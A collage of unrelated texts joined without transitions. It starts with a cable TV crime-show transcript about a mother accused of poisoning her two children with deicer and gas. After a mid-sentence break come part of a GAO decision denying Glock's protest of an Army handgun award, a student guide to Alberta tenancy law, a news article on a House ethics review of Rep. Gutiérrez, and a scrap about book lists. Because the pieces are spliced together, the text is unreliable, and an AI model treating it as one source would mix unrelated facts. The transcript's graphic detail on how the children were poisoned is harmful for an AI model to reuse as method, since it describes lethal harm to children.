GRACE: Put him up! So are you now saying that some murderers are not as bad as other murderers? I mean, she leaves written instructions, Kessler, "DNR," do not resuscitate, let my baby die. This is so premeditated, Kirby Clements. There`s no way that it can be anything but premeditated malice murder, two counts. There`s no way around it, Kirby.
KIRBY CLEMENTS, DEFENSE ATTORNEY: Well, there`s no way around the charge. But it sounds like premeditated murder committed by someone who was -- who had lost their mind. Clearly, she is mentally deranged. She writes "DNR" -- and by the way, Nancy, she did try to kill herself.
GRACE: What`s clear about it?
CLEMENTS: She taped the windows shut and turned the gas on. But for the fact that that was discovered, she too would have been dead. And I guess then the answer to your question, is why do they always survive, would have answered because she would have been dead. It`s -- but I would suggest to you this woman...
GRACE: Kirby...
CLEMENTS:... is clearly deranged.
GRACE:... if she wanted to be dead, she`d be dead, all right? If she wanted to be dead...
(CROSSTALK)
CLEMENTS:... turned the gas on.
GRACE:... what she wanted was -- what she wanted, Jennifer Smetters, was to get back at her husband. That`s what she wanted.
JENNIFER SMETTERS, FORMER PROSECUTOR: Exactly.
GRACE: She did that by taking the lives...
SMETTERS: Exactly!
GRACE:... of her children. She didn`t want to be dead, she wanted to sit back and see her husband suffer when he finds out...
SMETTERS: Tortured.
GRACE:... his 4-month-old baby girl died in a brutal manner, along with his only son.
SMETTERS: Nancy, you are absolutely right. She already probably felt that she lost the love of her husband, so she went directly straight at his heart and took the objects of his affection, which she treated as pawns. And it`s the most vile act that you can possibly think of, is a mother taking the life of their children! And this was done to strike back at the father, clearly, in my mind. And also, she did it with mental capacity, revenge and the wherewithal. To claim mental illness here is a desperate attempt that will surely fail!
(COMMERCIAL BREAK)
(BEGIN VIDEO CLIP)
UNIDENTIFIED MALE: Then they took out a body (INAUDIBLE) CPR.
UNIDENTIFIED FEMALE: Police say their mother, 29-year-old Lisette Bamenga, was also in the apartment with her wrists slit. Sources say the children were given a chemical deicer fluid to drink, and Bamenga had also turned on the gas stove.
(END VIDEO CLIP)
GRACE: We are taking your calls. This mom seeks revenge, revenge on a husband that she thinks is philandering with another woman. She claims he gets another woman pregnant. Does she get a divorce? No. A separation? No. Throw his clothes out in the middle of the front yard and set them on fire? No.
What does she do? She forces her 5-year-old son and her 4-month-old baby girl to drink window -- windshield deicer mixed with their juice to kill them. Then she tapes up the windows and turns the gas stove on high.
Back out to you, Jean Casarez, legal correspondent, "In Session." She leaves a note for her husband. In addition to all the notes that say, Do not resuscitate my children, let them die, she leaves a note for her husband. What does it say, Jean?
CASAREZ: "You got what you wanted, we`re in a better place now," so she`s placing herself in that suicide scheme again. And then "Do not resuscitate." Those are the things.
But Nancy, her husband is a police officer. This should be the all- American couple. He`s a police officer. She`s a public school teacher and she specialized in language. She taught elementary school children French.
GRACE: You know, I`m thinking about what they went through, Jean Casarez, in death, the suffering, the severe stomach aches, the nausea, the dizziness, the cramping that goes through your body when you ingest windshield washer or deicer. The main ingredient is wood alcohol, Jean. And then to lay there on the floor, suffering like that, inhaling gas from the stove...
CASAREZ: Amazing.
GRACE:... while your mother stands by.
CASAREZ: It`s called heinous, atrocious and cruel. That`s what it`s called right there, all put together.
(COMMERCIAL BREAK)
(BEGIN VIDEO CLIP)
UNIDENTIFIED FEMALE: A young mom of two allegedly murdered her two young children because she believed her husband had cheated on her and gotten another woman pregnant. Lisette Bamenga reportedly poisoned her 5- year-old son, Trevor, and 4-month-old baby girl Lillian, then sealed off the windows of their apartment and turned on the stove`s gas burners.
Bamenga also slit her wrists in a suicide attempt, but her wounds weren`t deep enough to be fatal. Firefighters knocked down the door and attempts were made to revive the children, but they were pronounced dead at the scene.
UNIDENTIFIED FEMALE: Condolences for a family seen sobbing uncontrollably. Unidentified relatives came to speak with investigators in Parkchester Friday afternoon after two of their little loved ones, Trevor Noel, Jr., and Lillian Noel, died inside.
UNIDENTIFIED FEMALE: The 5-year-old boy and his 4-month-old baby sister were pulled from a 9th-floor apartment on 1500 Noble Avenue after residents complained of a gas leak just before midnight.
UNIDENTIFIED FEMALE: Police say their mother, 29-year-old Lisette Bamenga, was also in the apartment with her wrists slit. Sources say the children were given a chemical deicer fluid to drink, and Bamenga had also turned on the gas stove. The medical examiner is awaiting toxicology results to determine which killed them.
(END VIDEO CLIP)
GRACE: We are taking your calls. An all-American family -- he`s a police officer, she is a very well liked public school teacher in a prestigious language program, a beautiful mom with a big smile, two children, and apparently, a loving husband. What went wrong?
Police arrived at the scene to find her 5-year-old little boy, her 4-month- old baby girl dead. Why? Because mommy forces the two children to gulp down windshield de-icer fluid mixed in with their juice, all because she believes her husband is having an affair. Of course she lives after a futile attempt to commit suicide.
We are taking your calls. Helene in Florida. Hi, dear. What`s your question?
HELENE, CALLER FROM FLORIDA: Hi, Nancy. How are you? You`re amazing. I love you.
GRACE: I`m good, dear.
HELENE: My question is from research, you see that there`s a lot of post- partum depression and it seems to be an epidemic, that so many mothers are just killing their children, in post-partum depression, you don`t bond with your children and then you go into a post-partum psychosis where you have paranoia, delusion, and confusion. And I`m just wondering is this woman suffering from this post-partum psychosis?
GRACE: Well, Helene in Florida, apparently the public school system thought she was just fine, all of her colleagues, co-workers, friends, thought she was just a beautiful woman with a big smile and two happy, healthy children.
Let`s go a friend joining us right now. A special guest. Gwen Richardson. She is the neighbor of the mom here, Lisette.
Gwen, thank you for being with us. What happened on the evening the day that police arrived at the home to discover the children dead.
GWEN RICHARDSON, NEIGHBOR OF MOM ACCUSED OF GASSING KIDS TO DEATH: I didn`t realize that there was a gas leak until about 11:00 p.m. We smelled earlier but I live on the front of the building, she lives on the back and she`s one apartment away from me. I smelled something that I thought was people cooking on their grills. And that was maybe around 8:00. And I kept smelling it and then after a while, it didn`t seem like it really was that. And then around 11:00, the authorities started knocking on doors and when we opened our door, the stench of the gas filled my apartment. And it was burning my eyes, it was choking me, it was so strong.
And I kept thinking, even when they knocked the door down to get in, these are metal doors, a spark could have been set off that killed all the authorities, that killed everybody on the ninth floor, I mean she had the safety and lives of all of the families and authorities that were in the building that night. He really put us all in jeopardy.
GRACE: All over allegedly a cheating man.
We are taking your calls out to Michelle in New York. Hi, Michelle, what`s your question?
MICHELLE, CALLER FROM NEW YORK: Hi, Nancy, it`s really not a question, but the fact that she`s an elementary schoolteacher, as I have been for 36 years, I raised two children, came from an abusive marriage, a single mom since `98. You seek out help. The woman who said about post-partum, I don`t go with that theory at all.
I do believe that not only is suicide selfish, if you want to kill yourself, kill yourself, why would you do that to your innocent children who have no say and no control over the matter? So for me, pleading insanity, I don`t think so. She planned it.
GRACE: You know, Michelle in New York, I`m with you. If you want to kill yourself, OK, I`m not happy about it, but don`t hurt your children. And another thing, Michelle in New York, didn`t anybody see the coverage of Lorena Bobbitt? All right?
MICHELLE: That`s the first thing I thought.
GRACE: If you think your husband is cheating and you just got to go after somebody, why not him? Or certain parts of him and I`m not advocating dismemberment, but what I`m saying, why the children? Why are the children the ones that have to suffer in this case.
Michelle, now, you`re saying a public schoolteacher for 36 years.
MICHELLE: Right.
GRACE: And you managed to come out not just a husband cheating, but an abusive marriage.
MICHELLE: Right.
GRACE: You raised your children, you`re a schoolteacher, got out of a marriage, what do you make of these claims of post-partum depression.
MICHELLE: I don`t go with that theory at all. I have had three children and to bring home a brand-new baby, my third one, to a situation that I was unhappy with, that 11 months, when my daughter was 11 months old, he knocked the crap out of me. Grabbed my three kids, dropped them off at a friend`s and went to family court. I said I`m not living this life anymore. It`s one thing if I have to deal with it. But for my children, I`ll deal with him as an adult, one adult to another, but when my children are involved, they take precedence, they take priority. I will protect them to the end.
Mama -- you know, Mama bear her cub. That`s what she should have done. If she believed that he was, you know, cheating on her, whatever scenario she has in her head, it doesn`t matter, take the children and go somewhere safe.
GRACE: And here`s the thing, if you think your husband is cheating, who wants him back anyway? Why? Why would you want him back? You know, I`d send him out COD to the other woman. Cash on delivery, you can have them. Keep him, don`t send him back to me.
We are taking your calls, I want to go back to the lawyers, Jennifer Smetters, Kirby Clements, Randy Kessler.
Weigh in, Smetters.
JENNIFER SMETTERS, FAMILY LAW ATTORNEY: Yes. What you said is exactly right and your caller was spot on. She did not act as a responsible adult, she acted as a vengeful, selfish individual. And again that, defense, it`s not going to work.
(COMMERCIAL BREAK)
(BEGIN VIDEO CLIP)
UNIDENTIFIED MALE: They pulled the baby out at soon as the door was open. 10:30 when I got home, I saw the gas on the floor, ninth floor, and then shortly after the cops came. That`s when I`d seen they took out the body and started seeing them with CPR.
UNIDENTIFIED FEMALE: Scary. Just, hope, you know, I`m sorry for the family. They have my condolences.
UNIDENTIFIED REPORTER: Condolences for a family sobbing uncontrollably. Unidentified relatives came to speak with investigators in Park Chester Friday afternoon after two of their little loved one Trevor Noel, Jr. and Lillian Noelle died inside.
The 5-year-old boy and his 4-month-old baby sister were pulled from a ninth-floor apartment on 1500 Noble Avenue after residents complained of a gas leak just before midnight.
UNIDENTIFIED FEMALE: -- on the floor and then when we came back in the building from getting my mom, she was, like, she was inside, I guess, with her husband or boyfriend, whoever he is, and they were asking them questions about what had happened.
(END VIDEO CLIP)
GRACE: We are taking your calls. When a mother finds out she believes her husband is cheating, what does she do? Ask for a divorce? No. Give him a black eye? No. Throws his clothes out in the front of the backyard? No. She forces her children to drink de-icer for windshields, then she tapes up the windows and turns the gas on high.
Both children, a 5-year-old little boy, a 4-month-old little girl are dead, thanks to mommy. Mommy claims she tries to slit her wrist, well, guess what, she`s alive and well sitting in a bed right now reading a magazine in a hospital. There`s nothing wrong with her.
We are taking your calls. Right now Dawn in Ohio. Hi, Dawn, what`s your question?
DAWN, CALLER FROM OHIO: I wanted to know, is she eligible to get the death penalty? Like seriously?
GRACE: Well, I can only pray, Dawn, in Ohio, she shouldn`t get it just once, she should get it twice, once for each child. A lot is going to depend on her frame of mind, but Dawn in Ohio, I want you to listen to what Michelle Dupre is about to say.
Dr. Dupre, medical examiner, forensic pathologist, joining me out in Columbia. The main ingredient in this is called methanol, wood alcohol. What effect would that have on a 4-month-old little girl and a 5-year-old boy, Doctor?
DR. MICHELLE DUPRE, M.D., MEDICAL EXAMINER AND FORENSIC PATHOLOGIST: Nancy, that can be devastating. Methanol has terrible effects on the body especially small children, and of course depending on the amount, the child would become unconscious, and possibly even go into seizures, go into a coma and then eventually death, it would not be pleasant.
GRACE: What I`d looked up, our research shows, Dr. Dupre, severe abdominal pain, then the child would start going blind, almost immediately, wouldn`t be able to see what was going on, and it would be having severe abdominal cramps, where you bend over in pain. The cramps go all over your body from your head to your legs, seizure, vomiting, uncontrollable vomiting.
All this taking place there on the kitchen floor as mommy calmly turns the gas up on the oven to kill her own children. Why? Because she says her husband had an affair. Her husband had an affair? So she commits double murder? Over a over an affair?
We are taking your calls. I want to go to Steve Kardian, former police detective and now lead instructor.
Steve, how can we show that she was sane at the time of the incident?
STEVE KARDIAN, FMR. POLICE DETECTIVE, SELF-DEFENSE EXPERT, LEAD INSTRUCTOR AT DEFEND UNIVERSITY: Well, Nancy, she`s going to be put into the criminal justice system on what we call a 7-1030 in New York and that`s to see if she`s going to fit to be able to stand trial for these charges. So two things. She`s either completely evil or severe mental illness to commit such a heinous crime.
GRACE: Out to the lines, Josh in Mississippi. Hi, Josh, what`s your question?
JOSH, CALLER FROM MISSISSIPPI: Hi, Nancy. I was calling -- well, first of all I wanted to say that I cannot believe that a woman would do this to her children, this seriously sickens me. But my question is that it seems to - - well, first a statement then a question. It seems to me that she knew exactly what she was doing and now she`s looking to plead insanity because her suicide attempt failed and she doesn`t want to do jail time. That`s just my personal opinion.
Is there any way that the prosecution is going to use that, just that thought or that against her in order to have her serve jail time like she`s so rightly deserves for killing her children, or how might that work?
GRACE: Good question. Let`s go out to Jean Casarez, not only lawyer, but legal correspondent for "In Session."
Jean, what do we have to show premeditation which would negate insanity?
JEAN CASAREZ, LEGAL CORRESPONDENT, "IN SESSION": Many, many things. Let`s talk about the jug, of the de-icer fluid, that allegedly was found in the home. Let`s talk about the tape. Getting the tape, getting the paper to tape the windows, to tape the door. So it`s all sealed and shut. The affirmative action, to turn the burner, the affirmative action to pour the juice, to buy the juice, to get the juice.
Many, many things, and the affirmative action to write the notes and the affirmative action to not drink the
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both reasonable. Nevertheless, the lack of clarity as to how the quantity of compact handguns should be treated is evident from the face of the solicitation. Therefore, we find that the number of compact guns to be evaluated presented a patent ambiguity, which the protester was required to protest prior to the closing time for receipt of proposals. Where a patent ambiguity is not challenged prior to the submission of proposals, we will dismiss as untimely any subsequent challenge to the meaning of the term. 4 C.F.R. § 21.2(a)(1); U.S. Facilities, Inc., B-293029, B‑293029.2, Jan. 16, 2004, 2004 CPD ¶ 17 at 10. This protest ground is dismissed.
License Rights
Glock challenges the Army’s rating of its proposal as marginal for the ammunition license rights factor. Protest at 16. The protester contends that the negative rating, relating solely to the blank ammunition, lacked a rational basis. Id.
In considering a challenge to a technical evaluation, our Office recognizes the discretion afforded an agency in conducting a technical evaluation, so we will not reevaluate technical proposals; rather, we will review a challenge to an agency’s evaluation to determine whether the agency acted reasonably and in accord with the solicitation’s evaluation criteria and applicable procurement statutes and regulations. Phoenix Air Grp., Inc., B-412796.2, B-412796.3, Sept. 26, 2016, 2016 CPD ¶ 308 at 11; Innovative Test Asset Sols., LLC, B‑411687, B-411687.2, Oct. 2, 2015, 2016 CPD ¶ 68 at 5. We will not substitute our judgment for that of the evaluators, but we will sustain a protest where the agency’s conclusions are inconsistent with the solicitation’s evaluation criteria, are undocumented, or are not reasonably based. Id.
For the ammunition license rights factor, the RFP provides for a rating of marginal when the proposed terms are “unfavorable to the Government.” RFP at 392. A rating of marginal may also be assigned if “[t]he proposal does not grant sufficient technical data rights and background patent rights necessary to allow the Government to compete the design, potentially secure additional sources for the ball, SP [special purpose], blank and Dummy ammunition [....]” Id. at 393.
The Army found several aspects of Glock’s proposed rights to be favorable, including low royalty requirements for some types of ammunition. AR, Tab 3, SSDD, at 16. However, the agency found royalty payments for the blank ammunition to be high and disliked that the ammunition license was limited to those entities in the national technology and industrial base (NTSB).[15] Id. The agency concluded that these terms were unfavorable because foreign suppliers outside the NTSB might quote lower prices for the blank ammunition. Id.
The RFP required offerors to allow the agency to “potentially secure additional sources” for the ammunition. RFP at 392-393. Thus, license rights that included the possibility of obtaining the ammunition from a manufacturer not listed in an offeror’s proposal would satisfy this solicitation term. Glock’s proposed license rights permit the agency to identify a potential source for blank ammunition in any of the NTSB countries, and the agency has not shown that the royalty payments would preclude such manufacture. Therefore the agency’s marginal rating for the ammunition license rights factor, assigned on the basis of the blank ammunition license rights and royalty payments evaluations, is inconsistent with the terms of the solicitation. Although Glock’s terms may be “inferior... when compared to Sig Sauer’s[,]” that comparison does not render them marginal under the terms of the solicitation. AR, Tab 3, SSDD, at 17. Nevertheless, for the reasons below, we deny this protest ground because we find that the agency’s error did not result in prejudice to the protester.
Here, even had Glock’s proposal received a rating of acceptable or very good for the ammunition license rights factor, it would have a lower rating than the awardee’s for this factor. Our Office has consistently explained that to prevail, a protester must demonstrate that it has been prejudiced by the agency’s errors. Where the protester fails to demonstrate that, but for the agency’s actions, it would have had a substantial chance of receiving the award, there is no basis for finding prejudice, and our Office will not sustain the protest, even if deficiencies in the procurement are found. IAP World Servs., Inc.; Jones Lang LaSalle Ams., Inc., supra ; HP Enter. Servs., LLC, B-411205, B‑411205.2, June 16, 2015, 2015 CPD ¶ 202 at 6; Booz Allen Hamilton Eng’g Servs., LLC, B-411065, May 1, 2015, 2015 CPD ¶ 138 at 10 n.16. The record shows that the agency considered the two proposals to be competitively close, with Sig Sauer’s proposal “slightly superior technically.” AR, Tab 3, SSDD, at 24. The agency then declined to make a second award because of Glock’s substantially higher price. Id. at 24-25. Here, Glock has failed to demonstrate that it was prejudiced, i.e., that with a higher rating for the ammunition rights factor it would have a substantial chance of receiving an award. This protest ground is denied.
Manual Safety
Glock also alleges that the Army deviated from the solicitation by assigning extra weight to the manual safety in the joint warfighter ergonomics subfactor and the early warfighter acceptance subfactor. Protest at 9. The Army contends that evaluation of the safety was reasonably part of the RFP’s stated evaluation criteria. MOL/COSF at 24-25.
In reviewing a protest challenging an agency’s evaluation, our Office will not reevaluate proposals or substitute our judgment for that of the agency, as the evaluation of proposals is a matter within the agency’s discretion. Computer World Servs. Corp., B‑410513, B-410513.2, Dec. 31, 2014, 2015 CPD ¶ 21 at 6. Rather, we will review the record only to determine whether the agency’s evaluation was reasonable and consistent with the stated evaluation criteria and with applicable procurement statutes and regulations. Id. In evaluating proposals, an agency may take into account specific, albeit not expressly identified, matters that are logically encompassed by, or related to, the stated evaluation criteria. MINACT, Inc., B‑400951, Mar. 27, 2009, 2009 CPD ¶ 76 at 4; Independence Constr., Inc., B-292052, May 19, 2003, 2003 CPD ¶ 105 at 4.
With regard to the joint warfighter ergonomics subfactor, the Army assigned Glock’s proposal a weakness after “[DELETED]” which could result in an “[DELETED].” AR, Tab 3, SSDD, at 14. In addition, during testing under the early warfighter acceptance subfactor, the Glock handgun [DELETED] was “[DELETED].” Id. Offerors were informed that the Army would evaluate the ability of the user to operate the safety as part of the joint warfighter ergonomics subfactor. RFP at 390, ¶ M.3.2.2.4. The solicitation also highlighted that overall safety was a priority, noting that proposals could be disqualified for “safety issues,” as determined by the agency testers. RFP at 6. The [DELETED] on the handgun was reasonably encompassed by the factors disclosed to Glock. MINACT, Inc., supra. Furthermore, [DELETED], we do not think that the Army placed undue emphasis on the safety in the evaluation. This protest ground is denied.
Penetration of Special Purpose Ammunition
The protester asserts that the agency failed to properly credit it with the highest score for achieving the optimum penetration depth--neither too deep nor too shallow--with the special purpose ammunition. Protest at 14. The Army acknowledges the error but contends that the protester’s rating for the characteristics of the projectile subfactor would not change, even if the evaluation error were corrected. MOL/COSF at 28. The agency argues that the protester has therefore not been prejudiced by the error. Considering that the Army evaluated six ammunition types, and given Glock’s generally positive ratings, the small improvement in Glock’s rating for the special purpose ammunition, from good to excellent, does not appear likely to provide Glock with a substantial chance of receiving the award. This protest ground is denied. HP Enter. Servs., LLC, supra.
Prejudice
Glock’s section M challenges have each been considered individually as to whether any agency error resulted in prejudice to the protester. Given that we found that the agency erred in the ammunition license factor rating, and that the agency acknowledged flaws in the price evaluation and special purpose ammunition penetration evaluation, we also consider the collective impact of these errors in the context of prejudice to the offeror.
As described above, competitive prejudice is an essential element of a viable protest, and we will not sustain a protest unless there is a determination that Glock was prejudiced by the procurement error. See Intelsat Gen. Corp., supra, at 19-20. Furthermore, we resolve any doubts regarding prejudice in favor of a protester since a reasonable possibility of prejudice is a sufficient basis to sustain a protest. Id. Nevertheless, on this record, we conclude that the protester has not shown a reasonable possibility of prejudice as a result of the errors considered together.
Here, the Army is not conducting a tradeoff analysis between two offerors, but instead is considering only whether making a second award to Glock offered the “best value” to the Army or would be “advantageous” to the Army. RFP at 387. In this context, the agency considered the impact of Glock’s substantially higher price and decided not to make a second award. AR, Tab 3, SSDD, at 24 (“[T]here is no correlating superior performance factor for Glock, as compared to Sig Sauer, to support paying that premium. Consequently, I cannot justify paying a price premium of over 37% for the Glock submission, even as a second award. One (1) award to Sig Sauer on Solicitation Number W15QKN-15-R-0002 represents the overall best value to the Government.”). In essence, the agency concluded that the protester was not likely to propose a competitive price during the second phase. This is a reasonable presumption, as the solicitation made clear that price would be evaluated during the first phase. Canadian Commercial Corp./Liftking Indus., Inc., supra, at 13 (finding reasonable the agency’s decision to make only one award under phase 1, when more were permitted, after determining that the protester’s proposal did not have a reasonable chance at winning the phase 2 production contract). Overall, despite the evaluation errors uncovered in the course of this protest, we have no basis to conclude that Glock would have a substantial chance at an award. Even when the errors are considered together, we find no prejudice to Glock.
The protest is denied in part and dismissed in part.
Susan A. Poling
General CounselThe Alberta Residential Tenancies Act can be a pretty intimidating document for a student renter to try and understand. If you thought a lease was full of legal jargon, try comprehending the RTA! Nonetheless, the RTA is a document that every student renter should have a basic understanding of. Here is a translation of some key sections of the RTA and how they apply to student renters in Alberta.
Please note that we are not legal professionals at Places4Students.com and cannot provide legal advice. The following information is a basic overview and interpretation of the RTA, highlighting some important sections that relate to student renters.
1. Does the Residential Tenancies Act apply to on-campus or school-owned housing?
No. Housing owned and operated by recognized educational institutions is exempt from the RTA.
(2) (e) a tenancy agreement between an educational institution as landlord and a student of that institution as tenant if the tenant does not have exclusive possession of a self-contained dwelling unit.
2. How much notice must be provided to terminate a lease agreement?
In a monthly rental arrangement, the tenant must notify the landlord on or before the first day of a tenancy month to take effect on the last day of that month. In a yearly rental arrangement, a tenant must provide at least 60 days notice to the landlord; however, a landlord must provide the renter with 90 days notice to vacate the unit.
*A fixed term tenancy does not need to provide notice to terminate.
Notice to terminate monthly tenancy:
8(1) A notice to terminate a monthly tenancy must be served (a) by a tenant on the tenant’s landlord, on or before the first day of a tenancy month to be effective on the last day of that tenancy month, or
(b) by a landlord on the landlord’s tenant, on or before the first day of a notice period to be effective on the last day of the notice period.
(2) In this section and section 10(2)(b), “notice period” means a period of 3 consecutive tenancy months.
Notice to terminate yearly tenancy:
(9) A notice to terminate a yearly tenancy must be served (a) by a tenant on the tenant’s landlord, on or before the 60th day before the last day of a tenancy year, or
(b) by a landlord on the landlord’s tenant, on or before the 90th day before the last day of a tenancy year, to be effective on the last day of the tenancy year.
3. What documentation must be provided in order to end a tenancy agreement?
A notice to end tenancy must be in writing, signed, have the tenancy end date, the date the notice was served, and an identification of the rental premises (address). If a landlord is issuing the termination, it must also include the reason(s) why they are ending the tenancy.
Form of notice:
10(1) A notice to terminate a tenancy must
(a) be in writing,
(b) be signed by the person giving the notice or the person’s agent,
(c) in the case of a landlord terminating the tenancy, set out the reasons for which the tenancy is being terminated,
(d) identify the premises in respect of which the notice is served, and
(e) state the date on which the tenancy is to terminate.
4. How much notice must a landlord provide if they plan on increasing the rent?
This will depend on the type of rental arrangement; whether it be weekly, monthly or longer. The least amount of notice is 12 tenancy weeks for a weekly rental, 3 tenancy months for a monthly rental and 90 days for any other periodic tenancy.
14(1) A landlord shall not increase the rent payable under a residential tenancy agreement or recover any additional rent resulting from an increase unless the landlord serves on the tenant a written notice of the increase in rent
(a) in respect of a weekly tenancy, at least 12 tenancy weeks,
(b) in respect of a monthly tenancy, at least 3 tenancy months, and
(c) in respect of any other periodic tenancy, at least 90 days, before the date on which the increase is to be effective.
5. Does a landlord have to provide tenants with a copy of the lease agreement?
If a tenant agrees to a written tenancy agreement with a landlord, the renter must be provided with a copy of the residential tenancy agreement within 21 days after the landlord has received the signed copy. Tenants are recommended to keep a copy of their lease agreement, in the event of any tenancy issues.
17(1) If a residential tenancy agreement is in writing and the tenant has signed and returned the written residential tenancy agreement to the landlord, the landlord shall, within 21 days after the written residential tenancy agreement is returned to the landlord, serve on the tenant a copy of the written residential tenancy agreement signed by the landlord.
(2) A tenant may withhold payment of rent until the tenant is served with a copy of the residential tenancy agreement under subsection (1).
6. Is a landlord required to do an inspection of the rental unit before and after a tenant moves out?
Yes. A landlord must complete an inspection within one week before a tenant takes possession of the rental accommodation, along with the tenant. The same applies for when the tenant moves out. The landlord may be allowed to inspect the unit without the tenant being present, in certain circumstances.
19(1) A landlord and tenant shall inspect the residential premises within one week before or after a tenant takes possession of the residential premises, and the landlord shall, forthwith on completion of the inspection, provide the tenant with a report of the inspection that describes the condition of the premises.
(2) A landlord and tenant shall inspect the residential premises within one week before or after the tenant gives up possession of the residential premises and the landlord shall, forthwith on completion of the inspection, provide the tenant with a report of the inspection that describes the condition of the premises.
(3) A landlord may complete the inspection without the tenant if the landlord proposes 2 inspections to take place (a) on different days, (b) on days that are not holidays, and (c) between 8 a.m. and 8 p.m., and no adult person who falls within the definition of tenant agrees to take part.
7. Can a landlord prohibit subletting?
A landlord may prohibit subletting, but reasonable grounds to do so are required. The landlord must inform the tenant in writing, should a sublease request be refused.
22(1) Subject to subsection (4), no assignment or sublease of a residential tenancy agreement by a tenant is valid without the written consent of the landlord.
(2) A landlord shall not refuse consent to an assignment or sublease unless there are reasonable grounds for the refusal.
(5) A landlord who refuses to give consent shall provide the tenant who requested consent with written reasons for the refusal.
8. Under what circumstances can a landlord enter a rental property without providing notice and receiving consent?
There are only two circumstances where a landlord may enter the unit without notice or consent – in the event of an emergency that requires the landlord to enter or if the tenant has abandoned the rental accommodation.
(2) A landlord is entitled to enter residential premises rented by the landlord without consent or notice if the landlord has reasonable grounds to believe that
(a) an emergency requires the landlord to enter the premises, or
(b) the tenant has abandoned the premises.
*A landlord may enter the premise with proper notice for a variety of reasons including, but not limited to, inspections, repairs, pest management, showing the property to potential new tenants, etc. See section 23(3) for more details.
9. How much notice is a landlord required to provide in order to enter the rental accommodation?
A landlord must serve the tenant with at least 24 hours notice before entering, as well as meet the conditions below
(23) (4) A landlord is not entitled to enter residential premises under
subsection (3) unless
(a) the notice is served on the tenant at least 24 hours before the time of entry,
(b) the entry is made on a day that is not
(i) a holiday, except that the landlord may enter on a Sunday if the tenant’s day of religious worship is not a Sunday and the tenant has provided the landlord with a written notice of that day, or
(ii) the tenant’s day of religious worship if that day is not a Sunday and the tenant has provided the landlord with a written notice of that day, and
(c) the entry is between 8 a.m. and 8 p.m.
10. How much money can a landlord charge for a security deposit?
A landlord may only request a security deposit totaling no more than one month’s rent.
43(1) A landlord shall not require a tenant to provide a security deposit that is greater than one month’s rent under the residential tenancy agreement or that is greater than the rent that would be payable for one month under the residential tenancy agreement if the rent were payable monthly.
(2) A landlord shall not require a tenant to pay an increase in a security deposit.
11. What is the maximum amount of time a landlord can hold a security deposit after a tenancy has ended?
A landlord must return a security deposit within 10 days after the tenant has given up possession of the rental accommodation. The landlord may deduct money from the security deposit, if it meets the following conditions.
(46) (2) A landlord who holds a security deposit shall, within 10 days after the day on which the tenant gives up possession of the residential premises,
(a) deliver the security deposit to the tenant,
(b) if all or part of the security deposit has been deducted in accordance with the conditions agreed to by the tenant, deliver to the tenant the balance of the deposit, if any, and a statement of account showing the amount of the deposit used, or
(c) if the landlord is entitled to make a deduction from the security deposit in accordance with the conditions agreed to by the tenant but is unable to determine the correct amount of the deduction, deliver to the tenant the balance of the deposit, if any, that the landlord does not intend to use and an estimated statement of account of the anticipated deduction and, within 30 days after the day on which the tenant gives up possession of the residential premises, deliver to the tenant the remaining balance of the deposit, if any, and a final statement of account.
SEE ALSO: Don’t Rent That Place! Spotting Red Flags in Student HousingRep. Luis Gutierrez, D-Ill. speaks at the 2012 Democratic National Convention in Charlotte, N.C. (Photo: Jack Gruber, USA TODAY)
WASHINGTON — The House Ethics Committee announced Monday that it will continue to review whether Rep. Luis Gutiérrez, D-Ill., violated federal law or House rules by paying hundreds of thousands of dollars to a former staffer to advise his congressional office for 10 years.
The Ethics Committee, in announcing that it will continue to look into the Gutiérrez matter, also released a report by the independent Office of Congressional Ethics concluding that "there is substantial reason to believe that Rep. Gutiérrez used funds from his (office account) for an impermissible purpose — to retain an individual to provide services to his congressional office that more closely resembled those provided by an employee or consultant rather than a contractor — in violation of federal law and House rules."
The Ethics Committee did not launch a formal investigative subcommittee for the Gutierrez matter, instead extending its informal review which has no deadline for action.
The OCE report is based on a contract that was properly disclosed and repeatedly approved by House officials, said Gutiérrez's spokesman Douglas Rivlin in a statement. The only question left for the Ethics Committee is "whether the approved contract was permissible under ambiguous House rules," Rivlin said.
".As the Committee reviews this matter, Congressman Gutiérrez and his office will continue to cooperate fully," Rivlin added. "As the Committee points out, its review does not indicate that any violation has occurred or reflect any judgment on behalf of the Committee."
The investigation began after USA TODAY published a story last June showing that Gutiérrez had paid more than $500,000 to his former chief of staff, Doug Scofield, in regular monthly payments after Scofield had left the office and set up his own public relations and lobbying firm in Chicago in 2003.
STORY: Gutiérrez pays lobbyist with tax dollars
The OCE report notes that Gutiérrez initially retained Scofield for "staff development" and other training, but the services Scofield ended up providing "appear to have exceeded the permissible services that non-employees may provide under House rules and regulations."
Gutiérrez is serving his 11th term in the House, representing the west side of Chicago, and has long been a leading advocate of pro-immigrant changes to the nation's immigration system.
Scofield had been Gutiérrez's chief of staff for a decade when he left in 2002 to join the office of newly elected Illinois Gov. Rod Blagojevich. A few months later, according to the OCE report, Scofield told Gutiérrez he had made a mistake and was going to leave the governor's office and start his own public relations consulting firm. Gutiérrez told investigators that he had never wanted to lose Scofield in the first place and was happy to "have Doug back."
Over the ensuing years, Scofield provided a wide range of non-legislative services, including conducting staff reviews in Gutiérrez's district office and helping with speeches, press releases and other activities, the report shows. The report also indicates that Scofield was involved in discussions over legislative strategy on immigration overhaul legislation, and participated in writing and editing some of the congressman's floor speeches as well.
Members of the U.S. House are given annual budgets to run their offices, and each member has a cap on the number of employees they may hire. Beyond that, rules set out by the House Administration Committee say, "Member offices are not authorized to procure consultant services." However, "Members may contract with firms or individuals only for general, non-legislative and non-financial, office services (e.g., equipment maintenance, systems integration, data entry, staff training, photography, custodial services, web services)" for specified time periods.
Gutiérrez told the ethics board that he had no time period in mind for Scofield's employment and that he would still be working there if it were not for the press reports last summer. Shortly after USA TODAY reported the relationship, Gutiérrez canceled Scofield's contract.
STORY: Gutierrez cuts ties with lobbyist
During the years he was working for Gutiérrez, Scofield also registered as a lobbyist in Illinois and represented a handful of local clients, including the Greater Chicago Food Depository. The investigative panel said there was some evidence that Scofield had reached out to Gutiérrez's then-chief of staff to discuss federal appropriations for the food depository, but neither Scofield nor the chief of staff — who has since left the office — would cooperate with the investigation, so the panel could not draw any conclusions. While Scofield was working for both the food depository and Gutierrez, the organization announced that the congressman had been instrumental in helping to secure federal funding.
Gutiérrez told investigators he knew that Scofield had a lobbying business in Illinois, but he did not know the details.
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Read or Share this story: http://usat.ly/1kPMFUXSmart People Are Reading These Books
Ok, so you’ve seen the nine books Bill Gates is Reading this summer. Gates has some pretty smart friends and they were kind enough to share what they were reading this summer too.
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Vinod Khosla is one of the co-founders of Sun Microsystems,and founder of the firm Khosla Ventures, which focuses on venture investments in various technology sectors, most notably clean technology.
